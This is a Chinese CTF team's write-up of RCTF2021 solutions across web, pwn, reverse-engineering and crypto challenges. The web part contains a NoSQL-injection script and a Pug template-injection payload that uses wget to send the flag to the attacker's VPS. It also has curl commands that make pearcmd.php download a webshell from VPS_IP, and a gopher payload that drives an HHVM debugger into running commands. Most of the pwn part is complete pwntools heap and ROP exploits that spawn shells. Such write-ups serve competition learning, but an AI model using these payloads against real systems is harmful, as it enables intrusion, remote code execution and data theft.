本次RCTF2021主要由南京邮电大学18、19、20级本科的小绿草们组成参与比赛,多亏了大家不懈努力(尤其是pwn手熬夜肝题)才获得了总榜第四名的荣誉。
排行榜纪念:
WEB
Easyphp
这题三个点。先是访问/admin
对应的路由那在nginx处有个deny all
需要绕。这个可以用大小写正常访问。
第二个是访问/admin
需要的SESSION['user']
。没有的话,就在$app->route('/*'
这一个类似AuthMiddleware的地方被redirect.
最后一个是/admin那的读文件。有个./
+ 可控数据执行file_get_contents
。肯定是最后一步读flag文件。
最后配了环境debug下,注意到一个之前没留意的
matchUrl 里发现其实
xxx/?xxx
的路由也会被匹配到。

这样就可以利用/admin?login
这样的格式达成stristr($request->url,"login")!==FALSE
.
绕waf同理。继续看框架,注意到waf的周期是在before start.而每次request->query是在之后的过程中设置的。除了直接将$_GET
赋给request->query外,还有一个额外的步骤:
利用这里的parse_url
就可以设置新的request-query了。
加上前面大小写绕/admin
,最终payload
aDmin%3fdata=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fflag%23login

CandyShop
先nosql注入拿到密码。然后注意格式从而pug命令执行。
import requests
import string
import re
url = "http://123.60.21.23:23333/user/login"
proxies = {
"http":'http://127.0.0.1:1080'
}
def nosql():
password = ""
for i in range(1, 100):
print(i)
for ch in string.digits + string.ascii_lowercase:
r = requests.post(url, data={
"username[$eq]": "rabbit",
"password[$regex]": f"^{re.escape(password + ch)}"
})
if len(r.text) == 2094:
password += ch
print(password)
break
def solve():
r = requests.post("http://123.60.21.23:23333/shop/order", data={
"username": "byc",
"candyname": "byc",
"address": """233' readonly)
p #{console.log(global.process.mainModule.require("child_process").execSync("wget -q -O- VPS_IP/cat /flag
").toString())}"""
}, cookies={
'token': 's%3Aj%3A%7B%22_id%22%3A%22613c091e9ce66dcbd78b00b0%22%2C%22username%22%3A%22rabbit%22%2C%22password%22%3A%22e9392d6c6e02792389a04e4a181b4bffdfbb2d8179a671be5b1c010da5d500cc%22%2C%22active%22%3Atrue%7D.s2NeueyMl2Mii8s6xyus1SVPPQ16qCVDKgcOg5q%2FX3k'
})
print(r.text)
VerySafe
环境只给了Caddy和php-fpm,所以猜测caddy有可以利用的点
看到环境是Caddy2.4.2,去GitHub找到:
https://github.com/caddyserver/caddy/releases/tag/v2.4.3
看到2.4.3修复了:
?️ Security patch in the FastCGI transport that now sanitizes paths against directory traversal outside the site root. PR #4207.

看文件diff可以发现,这个pr主要修复了反向代理FastCGI时,对SCRIPT_NAME
过滤不严格导致可以进行目录穿越的漏洞
fpath := r.URL.Path
scriptName := fpath
scriptFilename := filepath.Join(root, scriptName)
而php-fpm执行php文件就是根据fastcgi传入的SCRIPT_FILENAME,所以我们可以目录穿越执行任意php文件,这里因为security.limit_extensions
的限制,只允许后缀为.php
的文件执行,否则在低版本环境没有这个限制是可以直接LFI的
测试发现%2e%2e%2f
或..%2f
可以进行目录穿越(测试还发现Caddy存在与Nginx一样的,使用cgi模式执行php时,a.jpg/.php
将a.jpg当作php解析的问题,但是仍然受security.limit_extensions限制)
现在相当于可以包含远程任意php文件。
远程环境find下发现有pear,用pearcmd.php安装服务器上的马直接命令执行。这里可以直接把目标定为poc.php
.虽然安装失败但是文件已经写入了。
curl "http://123.60.21.23:54120//%2e%2e%2f%2e%2e%2f/usr/local/lib/php/pearcmd.php?f=pearcmd&argv=list+install+--installroot+/tmp/+http://VPS_IP/poc.php"
curl "http://123.60.21.23:54120//%2e%2e%2f%2e%2e%2f/tmp/tmp/pear/download/poc.php"
hiphop
远程一个curl直接任意读
读/proc/7/cmdline
看到远程的命令sudo -u www-data hhvm -m server -dhhvm.server.thread_count=100 -dhhvm.http.default_timeout=1 -dhhvm.server.connection_timeout_seconds=1 -dhhvm.debugger.vs_debug_enable=1 -dhhvm.server.port=8080 -dhhvm.repo.central.path=/tmp/hhvm.hhbc -dhhvm.pid_file=/tmp/hhvm.pid -dhhvm.server.whitelist_exec=true -dhhvm.server.allowed_exec_cmds[]= -dhhvm.server.request_timeout_seconds=1 -dopen_basedir=/var/www/html
.
确定是hhvm起的server.使用的是hacklang。注意到有一个option开启了hhvm.debugger.vs_debug_enable=1
。即开启了vscode_debug选项。
于是顺藤摸瓜找到
https://github.com/slackhq/vscode-hack/blob/master/docs/debugging.md
这里确认开了选项会默认在8999起一个debug端口。读/proc/net/tcp
也可以确认8999有一个server.所以肯定是gopher打这个服务。那直接本地起环境抓包即可。
配环境最大的坑点在
- vscode + hhvm docker都要在本地
- 同时debug端口要从docker内部用socat转发出来,
- 需要hhvm环境 hhvm在kali里没下下来所以直接从镜像里拖出编译好的并把hh_client,hh_server放到
/usr/bin

配好了docker环境后用vscode测试连接,可以在repl界面进行debug了。
注意到比较麻烦的一点是服务开启了hhvm.server.whitelist_exec=true
以及hhvm.server.allowed_exec_cmds[]
。导致系统命令都无法执行。(因为看源码里写了check_cmd这个函数,只要是exec一类的基本都被check了)

之后找了很久系统命令执行方法。之后阅读其他地方的源码有个popen
的执行方式。经审计与测试发现没有进行check_cmd不会被hook。
所以最后tcpdump抓包提取数据流,构造好gopher url再编码后直接打即可。
最终payload:
gopher://127.0.0.1:8999/_%257B%2522command%2522:%2522attach%2522,%2522arguments%2522:%257B%2522name%2522:%2522HHVM:%2520Attach%2520to%2520Server%2522,%2522type%2522:%2522hhvm%2522,%2522request%2522:%2522attach%2522,%2522host%2522:%2522localhost%2522,%2522port%2522:8999,%2522remoteSiteRoot%2522:%2522/Users//Downloads/rctfhiphop%2522,%2522localWorkspaceRoot%2522:%2522%2522,%2522configurationTarget%2522:5,%2522sessionId%2522:%2522584ecee5-4dde-4151-a589-fd97c72694d4%2522,%2522sandboxUser%2522:%2522aaa%2522%257D,%2522type%2522:%2522request%2522,%2522seq%2522:2%257D%2500%257B%2522command%2522:%2522initialize%2522,%2522arguments%2522:%257B%2522clientID%2522:%2522vscode%2522,%2522clientName%2522:%2522Visual%2520Studio%2520Code%2522,%2522adapterID%2522:%2522hhvm%2522,%2522pathFormat%2522:%2522path%2522,%2522linesStartAt1%2522:true,%2522columnsStartAt1%2522:true,%2522supportsVariableType%2522:true,%2522supportsVariablePaging%2522:true,%2522supportsRunInTerminalRequest%2522:true,%2522locale%2522:%2522zh-cn%2522,%2522supportsProgressReporting%2522:true,%2522supportsInvalidatedEvent%2522:true,%2522supportsMemoryReferences%2522:true%257D,%2522type%2522:%2522request%2522,%2522seq%2522:1%257D%2500%257B%2522command%2522:%2522threads%2522,%2522type%2522:%2522request%2522,%2522seq%2522:5%257D%2500%257B%2522command%2522:%2522evaluate%2522,%2522arguments%2522:%257B%2522expression%2522:%2522popen('/readflag|base64>/tmp/caoni','r')%2522,%2522context%2522:%2522repl%2522%257D,%2522type%2522:%2522request%2522,%2522seq%2522:6%257D%2500
PWN
ezheap
from pwn import*
def menu(ch):
p.sendlineafter('choice>>',str(ch))
def add(Type,size,index):
menu(1)
p.sendlineafter('type >>',str(Type))
p.sendlineafter('size>>',str(size))
p.sendlineafter('idx>>',str(index))
def edit(Type,index,off,value):
menu(2)
p.sendlineafter('type >>',str(Type))
p.sendlineafter('idx>>',str(index))
p.sendlineafter('element_idx>>',str(off))
p.sendlineafter('value>>',str(value))
def show(Type, index ,off):
menu(3)
p.sendlineafter('type >>',str(Type))
p.sendlineafter('idx>>',str(index))
p.sendlineafter('element_idx>>',str(off))
def free(Type,index):
menu(4)
p.sendlineafter('type >>',str(Type))
p.sendlineafter('idx>>',str(index))
def get_recv(S = 1):
p.recvuntil('value>>\n')
num = int(p.recvline(),10)
if S:
log.info('Num:\t' + hex(num))
return num
#p = process('./patch')
p = remote('123.60.25.24',20077)
libc = ELF('./libc-2.27.so')
#context.log_level = 'DEBUG'
add(1,0x10000,0)
add(1,0x10000,1)
show(2,0x401,0xA004)
low_word = get_recv()
show(2,0x401,0xA005)
high_word = get_recv()
libc_base = (low_word + (high_word<<16)) + 0x15000
log.info('LIBC:\t' + hex(libc_base))
show(2,0x401,0xA00E)
low_word = get_recv()
show(2,0x401,0xA00F)
high_word = get_recv()
proc_base = (low_word + (high_word<<16)) - 0x9060
log.info('PIE:\t' + hex(proc_base))
add(3,0x10000,0)
last_sign = 0;
for i in range(0x400):
show(2,0x401,0x8000 + 2 + 0x10*i)
Type = get_recv(0)
if (Type == 4):
log.info('Type:\t' + hex(Type))
last_sign = i
break
log.info('Target_Offset:\t' + hex(last_sign))
def ab_write(last_sign,addr):
edit(2,0x401,0x8000 + 6 + last_sign*0x10,(addr & 0xFFFF))
edit(2,0x401,0x8000 + 7 + last_sign*0x10,((addr >> 16)&0xFFFF))
ab_write(last_sign,libc_base + libc.sym['environ'])
show(3,0,0)
stack = get_recv(0)
log.info('Stack:\t' + hex(stack))
ab_write(last_sign,stack - 0xD0 - 0x30)
edit(3,0,0,libc_base + 0x3CCF7)
p.interactive()
game
from pwn import*
p = process('./game')
p = remote('123.60.25.24',20000)
libc = ELF('./libc-2.31.so')
payload = '\x02\x01'*6 + '\x02\x03\x03\x20' + '\x02\x00' + '\x02\x01'*7
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12'
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12'
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12'
payload += '\x02\x01\x02\x02'*0x10
payload += '\x13'
payload += '\x02\x01'
payload += '\x12'
payload += '\x11\x01\x02'
payload += '\x11\x01\x02' + '\x02\x01'
payload += '\x11\x01\x90' + '\x02\x01'
payload += '\x12' + '\x02\x01'
payload += '\x11\x01\xB0' + '\x02\x01'
payload += '\x11\x01\xB0' + '\x02\x01'
payload += '\x11\x02\x40' + '\x12' + '\x02\x01'
payload += '\x11\x02\x40' + '\x12' + '\x02\x01'
payload += '\x11\x02\xF0' + '\x02\x01'
payload += '\x11\x01\x90' + '\x02\x01' + '\x12'
payload += '\x02\x01'*2 + '\x11\x02\xB0'
payload += '\x11\x02\x90'
payload += '\x11\x02\xE0' # payload
payload += '\x11\x02\xB0' * 6
payload += '\x11\x02\xD0'
payload += '\x11\x02\x90'
payload += '\x11\x01\x40'
payload += '\x11\x01\x40' + '\x12'
p.sendlineafter('length:',str(len(payload) + 1))
#gdb.attach(p,'b *$rebase(0x2805)')
p.sendlineafter('spell:',payload)
for i in range(6):
p.sendline('FMYY')
p.sendafter('the dragon?','\xA0\x36')
p.sendafter('the dragon?','\x11\x36')
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','\x00'*0x18 + p64(0x851))
p.sendlineafter('the dragon?','\x00'*0x8F + p64(0xFBAD1800) + p64(0)*3 + '\x08')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
for i in range(3):
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','\x00'*0xA0 + p64(0x7FFFFFFFFFFFFF))
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?',payload)
for i in range(6):
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?',p64(0x36A0) + p64(0) + p64(0) + p64(0xc1) + p64(0x00000000000F4240) + p64(0x0000000000000FC4) )
p.sendlineafter('the dragon?','\x00'*0x50 + p64(libc_base + libc.sym['__free_hook'] - 8))
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','/bin/sh\x00' + p64(libc_base + libc.sym['system']))
p.interactive()
pokeman
from pwn import*
def menu(ch):
p.sendlineafter('Choice: ',str(ch))
def add(Type,size,index):
menu(1)
menu(Type)
if Type == 1:
p.sendlineafter('to be?',str(size)) # [0x80:0x380]
p.sendlineafter('[0/1]',str(index))
def free(index):
menu(2)
p.sendlineafter('[0/1]',str(index))
menu(1)
def show(index):
menu(2)
p.sendlineafter('[0/1]',str(index))
menu(2)
def edit(index,content):
menu(2)
p.sendlineafter('[0/1]',str(index))
menu(3)
p.sendafter('You say:',content)
p = process('./main')
p = remote('123.60.25.24',8888)
libc = ELF('./libc-2.31.so')
p.sendlineafter('input your name:','\x00'*0x8)
for i in range(7):
add(1,0x100,0)
free(0)
for i in range(7):
add(1,0x110,0)
free(0)
for i in range(7):
add(1,0x200,0)
free(0)
for i in range(7):
add(1,0x270,0)
free(0)
add(1,0x270,0)
add(1,0x270,1)
free(0)
add(1,0x280,0)
free(0)
add(1,0x280,0)
free(0)
free(1)
#########################
add(1,0x100,1)
add(1,0x110,0) # target
free(1)
add(1,0x1F0,1)
free(0)
add(2,0x999,0)
edit(0,'\x00'*0x10*16 + p64(0) + p64(0x201 + 0xD0 + 0x290))
free(0)
p.sendline('Y')
add(1,0xC0,0)
free(1)
add(1,0x200,1)
free(1)
add(1,0x1F0,1)
menu(3)
p.sendline('1')
p.recvuntil('gem: ')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
p.sendline('Y')
p.sendafter('password: ',p64((libc_base + libc.sym['__malloc_hook'] - 0x34) ^ (libc_base + libc.sym['__malloc_hook'] + 0x70)) + p64(0)*5)
free(1)
add(3,0x999,1)
edit(1,'\x00'*(0x14 - 8) + p64(libc_base + 0xE6C81) + p64(libc_base + libc.sym['realloc'] + 24) + '\n')
free(1)
p.sendline('Y')
menu(1)
menu(1)
##############
p.sendlineafter('to be?',str(0x380)) # [0x80:0x380]
p.sendline('cat flag')
p.interactive()
from pwn import*
def menu(ch):
p.sendlineafter('Choice:',str(ch))
def add(index,size):
menu(1)
p.sendlineafter('Idx:',str(index))
p.sendlineafter('Sz:',str(size))
def show(index):
menu(3)
p.sendlineafter('Idx:',str(index))
def edit(index,content):
menu(4)
p.sendlineafter('Idx:',str(index))
p.sendlineafter('Content:',content)
def clone(F,T):
menu(2)
p.sendlineafter('From:',str(F))
p.sendlineafter('To:',str(T))
def gift(addr):
menu(0xDEAD)
p.sendlineafter('Hint:',p64(0x600002F707991) + p64(0))
p.sendlineafter('Addr:',str(addr))
p = process('./main')
p = remote('124.70.137.88',30000)
libc = ELF('./libc-2.27.so')
add(0,0x500)
add(1,0x100)
clone(1,0)
add(2,0x8)
show(2)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168
log.info('LIBC:\t' + hex(libc_base))
add(3,0x100)
add(4,0x100)
clone(2,3)
clone(3,4)
add(3,0x100)
show(3)
heap_base = u64(p.recvuntil('\x00'*8,drop=True)[-6:].ljust(8,'\x00')) - 0x620 - 0x13000
log.info('HAEP:\t' + hex(heap_base))
add(5,0x1850)
add(6,0x95E0)
for i in range(8):
add(7 + i,0xB0)
gift((libc_base + 0x3ED940 + 1))
edit(5,'\x00'*0x71*8 + p64(libc_base + 0x10A41C))
clone(4,5)
clone(5,6)
for i in range(8):
clone(6 + i,7 + i)
add(0x12,0x10000)
p.interactive()
musl
from pwn import*
r=remote('123.60.25.24',12345)
#r=process('./main')
context.log_level='debug'
libc=ELF('./libc.so')
def new(idx,size,content):
r.recvuntil('>>')
r.sendline('1')
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def delete(idx):
r.recvuntil('>>')
r.sendline('2')
r.recvline()
r.sendline(str(idx))
def show(idx):
r.recvuntil('>>')
r.sendline('3')
r.recvline()
r.sendline(str(idx))
for i in range(15): new(i,0xC,'a'*0xB)
delete(0)
new(0,0,'b'*0xF+'\n')
show(0)
r.recvline()
libc_base=u64(r.recvline()[:-1]+p16(0))-0x298D50
success('libc_base: '+hex(libc_base))
#libc_base=r.libs()['/home/kagehutatsu/Downloads/aaaa/musl-1.2.2/build/lib/libc.so']
malloc_context=libc_base+libc.sym['__malloc_context']
opendir=libc_base+libc.sym['opendir']
readdir=libc_base+libc.sym['readdir']
#execveat=libc_base+libc.sym['execveat']
delete(2)
new(2,0,'d'*0xF+'\n')
show(2)
r.recvline()
chunk_addr=u64(r.recvline()[:-1]+p16(0))-0x40
success('chunk_addr: '+hex(chunk_addr))
delete(4)
new(4,0,'\x00'*0x10+p64(malloc_context)+p64(0x100)+'\x00'*0x10+p64(libc_base+libc.sym['environ'])+'\x00\n')
show(5)
r.recvuntil(': ')
secret=u64(r.recvline()[:8])
success('secret: '+hex(secret))
show(6)
r.recvuntil(': ')
stack=u64(r.recvline()[:-1]+p16(0))-0xa0
success('stack: '+hex(stack))
mem_addr=libc_base+0x292aa0
success('mem_addr: '+hex(mem_addr))
sc=10
freeable=1
last_idx=0
maplen=4
padding=0x1000-(mem_addr%0x1000)
payload=''
payload+='\x00'*padding
fake_meta=''
fake_meta+=p64(malloc_context+0x98)
fake_meta+=p64(mem_addr+padding+0x60)
fake_meta+=p64(mem_addr+padding+0x40)
fake_meta+=p32(0)+p32(0)
fake_meta+=p64((maplen<<12)|(sc<<6)|(freeable<<5)|last_idx)
fake_meta+=p64(0)
payload+=p64(secret)
payload+=p64(0)
payload+=fake_meta
payload+=p64(mem_addr+padding+0x10)
payload+=p64(1)
payload+=p64(0)+p64(0x0001000000000000)
fake_meta=''
fake_meta+=p64(mem_addr+padding+60)*2
fake_meta+=p64(stack)
fake_meta+=p32(1)+p32(0)
fake_meta+=p64((1<<12)|(sc<<6)|last_idx)
payload+=fake_meta
payload+='/home/ctf/flag/0_l78zflag\x00'
for i in range(12): new(12,0xC,'g'*0xB)
new(13,0xC,'g'*0xB)
new(14,0x1000,'\n')
new(14,0x1000,'\n')
new(15,0x1000,payload+'\n')
new(14,0x1000,'\n')
payload=''
payload+=p64(mem_addr+padding+0x10)
payload+=p64(0x0010100000000001)
payload+=p64(mem_addr+padding+0x60)
payload+=p64(0x0001000000000000)
payload+='\x00'*0x10
delete(7)
r.recvuntil('>>')
r.sendline('1')
r.recvline()
r.sendline(str(7))
r.recvline()
r.sendline(str(0))
r.recvline()
r.sendline(payload)
delete(8)
pop_rax=libc_base+0x1b8fd
pop_rdi=libc_base+0x14b82
pop_rsi=libc_base+0x1b27a
pop_rdx=libc_base+0x9328
syscall=libc_base+0x23711
"""payload=''
payload+=p64(pop_rdi)+p64(mem_addr+padding+0x88)+p64(opendir)
payload+=p64(libc_base+0x4364e)+p64(readdir)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x100)+p64(syscall)"""
#gdb.attach(r)
payload=''
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(mem_addr+padding+0x88)+p64(pop_rsi)+p64(0)+p64(syscall)
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(chunk_addr)+p64(syscall)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(syscall)
new(0,0xa0,payload+'\n')
r.interactive()
unistruct
from pwn import*
def menu(ch):
p.sendlineafter('Choice:',str(ch))
def add(index,Type,value):
menu(1)
p.sendlineafter('Index:',str(index))
p.sendlineafter('Type:',str(Type))
p.sendlineafter('Value:',str(value))
def edit(index,value):
menu(2)
p.sendlineafter('Index:',str(index))
p.sendline(value)
def show(index):
menu(3)
p.sendlineafter('Index:',str(index))
def free(index):
menu(4)
p.sendlineafter('Index:',str(index))
p = process('./main')
#context.log_level = 'DEBUG'
p = remote('124.70.137.88',40000)
libc = ELF('./libc-2.27.so')
'''
Type1:
Save A Word Value
Type2:
Save A Dword Value
Type3:
Save A String
struct Data_Note {
size_t *Mem
size_t Length
char buf[0x10] // if len < 0x10,the string will be saved here
size_t Type
}
Type4:
Alloc uint32_t buffer
struct Data_Note {
size_t *Start
size_t *Now
size_t *End
size_t Other
size_t Type
}
'''
add(1,4,str(0x120))
add(2,4,str(0x120))
menu(2)
p.sendlineafter('Index:',str(1))
for i in range(0x120):
p.sendlineafter('Append or in place, 1 for in place:',str(0))
p.sendlineafter('New value:',str(0xDEADBEEF))
p.recvuntil('Old value: ')
low_word = int(p.recvline(),10)
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(low_word))
p.recvuntil('Old value: ')
high_word = int(p.recvline(),10)
libc_base = low_word + (high_word<<32) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base) )
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(0xCAFEBABE))
add(0,4,str(0x120))
add(3,4,str(0x10))
menu(2)
p.sendlineafter('Index:',str(3))
for i in range(0x10):
p.sendlineafter('Append or in place, 1 for in place:',str(0))
p.sendlineafter('New value:',str(0xDEADBEEF))
free_hook = libc_base + libc.sym['__free_hook']
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(((free_hook - 8) & 0xFFFFFFFF)))
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(((free_hook >> 32) & 0xFFFFFFFF)))
p.sendlineafter('Append or in place, 1 for in place:',str(0))
p.sendlineafter('New value:',str(0xCAFEBABE))
add(4,3,'F'*0x40)
add(5,3,'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + '\x00'*0x10)
p.interactive()
catch_the_frog
数据传输的逻辑
\xb9
\x80-\x83
padding need to be ==4
\x84-\x86
choice
\x80-\x83
index
\x80-\x83
size
\xBD
\x80-\x83
len context
\x80 1bytes \x81 2bytes \x82 4bytes \x83 8bytes
漏洞点有两个,一个是index传输时候寻找堆块时候没有校验越界,只校验了指针是否指0
还有一个是feed函数时候校验<7没有异常退出,导致了++操作仍然执行导致的堆溢出。
两个漏洞都可以编写本地可通的exp,但index越界因为对堆布局相对偏移关系依赖较强,本地跟远程的偏移不相同导致远程无法跑通。
feed没有异常校验EXP:
from pwn import*
#list 20B380
p=remote('124.70.137.88',10000)
#p = process('./catch_the_frog')
#elf=ELF('./catch_the_frog')
#libc=elf.libc
libc = ELF('./libc-2.27.so')
def gd(cmd=''):
gdb.attach(p,cmd)
def feed(index):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x00' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def add(index,size):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x01' # choice
payload += '\x83' + p64(index) # index
payload += '\x80' + chr(size) # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def edit(index,content):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x02' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x83' + p64(len(content)) + content
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def show(index):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x03' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def free(index):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x04' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
add(0,0xF0)
for i in range(8):
add(i+1,0xf0)
for i in range(0x50):
feed(0)
edit(0,'a'*0xf0+'a'*0xf+'b')
show(0)
p.recvuntil('ab')
leak=u64(p.recv(6).ljust(8,'\x00'))
edit(0,'a'*0xf0+p64(0)+p64(0x21)+p64(leak)+p64(0xf0)+p64(0)+p64(0x461))
free(1)
add(1,0x80)
show(1)
#p.interactive()
p.recvuntil('rom ')
leak=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak)
lbase=leak-1120-0x10-libc.symbols['__malloc_hook']
edit(0,'a'*0xf0+p64(0)+p64(0x21)+p64(lbase+libc.symbols['__free_hook'])+p64(0xf0))
edit(1,p64(lbase+libc.symbols['system']))
edit(0,'/bin/sh\x00')
free(0)
p.interactive()
Index未校验下标EXP:
from pwn import*
#list 20B380
#p=remote('124.70.137.88',10000)
p = process('./catch_the_frog')
elf=ELF('./catch_the_frog')
libc=elf.libc
#libc = ELF('./libc-2.27.so')
def gd(cmd=''):
gdb.attach(p,cmd)
def add(index,size):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x01' # choice
payload += '\x83' + p64(index) # index
payload += '\x80' + chr(size) # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def edit(index,content):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x02' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x83' + p64(len(content)) + content
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def show(index):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x03' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def free(index):
payload = '\xB9\x80\x04'
payload += '\x84' + '\x04' # choice
payload += '\x83' + p64(index) # index
payload += '\x80\x00' # size
payload += '\xBD\x80\x00'
p.sendlineafter('length:',str(len(payload)))
p.sendlineafter('request:',payload)
def aat(adr):
edit(0,p64(hbase+0x136a0)+p64(0xffff))
edit((0x560a1885b580-0x560a18859e70)/8,p64(adr))#2 can aar aaw
add(0,0xF0)
add(1,0xF0)
add(2,0xF0)
free(0)
free(1)
add(0,0xF0)
show(0)
p.recvuntil('ng from ')
hleak=u64(p.recv(6).ljust(8,'\x00'))
print hex(hleak)
hbase=hleak-0x13480
print hex(hbase)
#gd('b *$rebase(0x30CC)\nc')
for i in range(8):
add(i+3,0xf0)
aat(hbase+0x137d0)
edit(2,p64(0)+p64(0x461))
free(3)
add(3,0xf0)
show(3)
p.recvuntil('ng from ')
lleak=u64(p.recv(6).ljust(8,'\x00'))
print hex(lleak)
lbase=lleak-1120-libc.symbols['__malloc_hook']-0x10
print hex(lbase)
print hex(lbase+libc.symbols['__free_hook'])
aat(lbase+libc.symbols['__free_hook'])
edit(2,p64(lbase+libc.symbols['system']))
edit(1,'/bin/sh')
free(1)
p.interactive()
RE
LoongArch
longarch汇编
https://github.com/loongson/LoongArch-Documentation/releases/latest/download/LoongArch-Vol1-v1.00-CN.pdf
这是官方文档
def byte_to_bits(b):
return bin(b)[2:].zfill(8)
def rev_bitrev_8b(r):
res = []
for b in r:
res.append(int(byte_to_bits(b)[::-1],2))
return bytes(res)
def rev_bitrev_d(r):
bits = ""
for b in r:
bits += byte_to_bits(b)
bits = bits[::-1]
res = []
for i in range(0, len(bits), 8):
res.append(int(bits[i:i+8], 2))
return bytes(res)
def xor(a,b):
return bytes(x^y for x,y in zip(a,b))
FFFF = bytes([0xFF]*8)
t4 = bytes([0x00, 0x05, 0x29, 0x08, 0x55, 0x45, 0x13, 0xC5][::-1])
t5 = bytes([0x18, 0xB9, 0x30, 0xBB, 0x1A, 0x62, 0x6D, 0x00][::-1])
t6 = bytes([0xA1, 0x86, 0x6F, 0x4C, 0x9F, 0x5B, 0x55, 0xBC][::-1])
t7 = bytes([0x6D, 0x62, 0x1A, 0x18, 0xAD, 0x78, 0x0D, 0x05][::-1])
t4 = xor(t4, FFFF)
t5 = xor(t5, FFFF)
t6 = xor(t6, FFFF)
t7 = xor(t7, FFFF)
t0 = rev_bitrev_8b(t4)
t1 = rev_bitrev_8b(t5)
t2 = rev_bitrev_8b(t6)
t3 = rev_bitrev_8b(t7)
t4 = t1[-3:] + t2[:5]
t5 = t2[-3:] + t0[:5]
t6 = t0[-3:] + t3[:5]
t7 = t3[-3:] + t1[:5]
t0 = rev_bitrev_d(t4)
t1 = rev_bitrev_d(t5)
t2 = rev_bitrev_d(t6)
t3 = rev_bitrev_d(t7)
t4 = bytes([0x9D, 0x05, 0xB3, 0x05, 0xD1, 0xF3, 0x05, 0x82][::-1])
t5 = bytes([0xF3, 0x49, 0x33, 0x09, 0xB3, 0xCE, 0x9A, 0xA8][::-1])
t6 = bytes([0x84, 0xB9, 0xAB, 0xBC, 0xAD, 0xB5, 0x3D, 0xD5][::-1])
t7 = bytes([0xD4, 0xC2, 0xD2, 0xD9, 0xBF, 0xA0, 0xCE, 0x39][::-1])
t0 = xor(t0,t4)
t1 = xor(t1,t5)
t2 = xor(t2,t6)
t3 = xor(t3,t7)
print(t0[::-1]+t1[::-1]+t2[::-1]+t3[::-1])
# RCTF{We1c0m3_t0_RCTF_2o21_@&-=+}
Hi!Harmony!
内核文件
qemu-system-riscv32 -machine virt -smp 1 -m 512m -kernel liteos --nographic -s调试运行
Valgrind
看官方文档肉眼看ir
a = "t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted"
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
c = ""
for i in range(len(a)):
if(ord(a[i]) + 3 < 0x5a):
c += chr(ord(a[i]) + 3 )
else:
c += b[ (ord(a[i]) + 3 - 0x5a) % 0x1a -1 ]
print(c)
CRYPTO
Uncommon Factors I

思路
- 2^22个p中存在collision,两两GCD
- 砸钱用Cado分解512-bit模数
$p$为312bit的素数,且从一个长度为$2^{48}$的区间中均匀随机选取。
根据素数定理,找到一个不大于$2^{312}$的素数的概率为
$$
\frac{1}{\ln{2^{312}}} \approx 0.0046
$$
因此,可以大概估计在这个$2^{48}$的区间中,素数的个数$N$约为
$$
N = 2^{48} \cdot \frac{1}{\ln{2^{312}}} \approx 1.18 \times 2^{40}
$$
再根据生日悖论,在N个数中选n个数(N >> n),至少存在一个collison的大概约为
$$
P \approx 1 - e^{-\frac{n(n-1)}{N}}
$$
